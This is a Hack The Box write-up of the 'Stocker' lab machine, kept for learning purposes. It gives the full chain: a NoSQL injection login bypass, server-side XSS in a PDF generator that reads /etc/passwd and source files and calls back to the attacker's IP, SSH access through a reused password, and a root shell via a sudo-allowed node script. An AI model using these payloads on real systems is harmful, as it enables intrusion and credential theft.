Stocker HTB writeup

Posted on Sun 26 February 2023 in hackthebox

This is a writeup of the machine Stocker from Hack The Box. As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/stocker 10.10.11.196

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 06:41 EST
Nmap scan report for 10.10.11.196
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

On port 80 we see a redirect to http://stocker.htb so we update /etc/hosts:

10.10.11.196    stocker.htb

Directory enumeration

Enumerating the directories of http://stocker.htb/ didn't give any interesting results:

f0bdd2c02433c649f5ca22c6efc6c4fc.png

Subdomain enumeration

Instead we can fuzz for subdomains. Using gobuster with

gobuster dns \
    -d stocker.htb \
    -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

and

gobuster dns \
    -d stocker.htb \
    -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

didn't give any results. But using wfuzz like so:

wfuzz -c \
    -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt \
    -u 10.10.11.196 \
    -H 'Host: FUZZ.stocker.htb' \
    --hc 301

Resulted in the following subdomains found:

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.196/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000022:   302        0 L      4 W        28 Ch       "dev"

Total time: 0
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 0

So we add dev to /etc/hosts and go to http://dev.stocker.htb/. There we are greated with the following login screen:

701212a3f6a6ec3d60105c6590c9d300.png

We start by inspecting the source code:

<meta name="generator" content="Hugo 0.84.0" />

Which gives us some interesting information: The site is built with Hugo a static site generator. By inspecting the HTTP headers we find the following response header: X-Powered-By: Express So we know that nodeJS is used in the backend.

NoSQL injection

With that in mind we might be able perform a NoSQL injection.

The doing the POST against the /login endpoint as follows:

POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 49
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AOayd8JIDCKXSSAF9eiYWzTIXaCuv-hz3.f9WJKK1zRr5cIHNOMPbK0tWyBge8ZldHIDmKUc08jZ8
Upgrade-Insecure-Requests: 1

{"username": {"$ne": null}, "password": {"$ne": null} }

We are able to login:

ee6908c162b0cdea52cc2473820327ae.png

Enumerating the store

If one purchases an item in the Stockers store the product titlee is reflected in the invoice pdf. One could create an order as follows:

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"BBBB","description":"It's a red cup.","image":"red-cup.jpg","price":1234,"currentStock":4,"__v":0,"amount":1}]}

and receives the following invoice:

5d35fcac8a1e9468a3549c04a52e19b6.png

If one inspects the pdf if exiftool one can see that the PDF was generated with Skia/PDF m108.

6f0849cfbb04dc4af9cc3bdaf50e6794.png

One may be able to achieve a Server Side XSS here.

For this we set the title to "<script>document.write(JSON.stringify(window.location))</script>" which gives us the following PDF:

b8b895e762ac9ccb8b3878cc2acd1f35.png

Now we need to check whether we can reach our own machine with: "<script>fetch('http://10.10.14.25')</script>"

7f4f6a49677ff11fefa6b83b38441bee.png

We can use this to read /etc/passwd with "<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script/>" which gives us:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core
Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh
user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

We see a user www-data with home /var/www. Maybe the code for the app can be found in /var/www.

"title":"<iframe width=700 height=1000 src=file:///var/www/dev/index.js></iframe>"

And indeed we find the source code and a mongodb connection string:

997c6ddddd5dd9eeb543ed243b826ece.png

Maybe the password was reused so we try to login with the other use and the same password: ssh angoose@stocker.htb with password IHeardPassphrasesArePrettySecure.

0012379adba301cb787d423e09a1a140.png

This works so we can read the user flag.

cee1188195cfcd89e86f9e150f3344a8.png

Priviledge escalation

We start by running sudo -l to see which commands angoose can run as root:

c2f0db2108e807d95d8055c4bb17beb9.png

angoose can run arbitrary nodeJS scripts as root so one cound also run /usr/loca/scripts/../../../dev/shm/test.js Hence we can do the following:

echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > /dev/shm/test.js

c27053be6282762889447c0978b4e217.png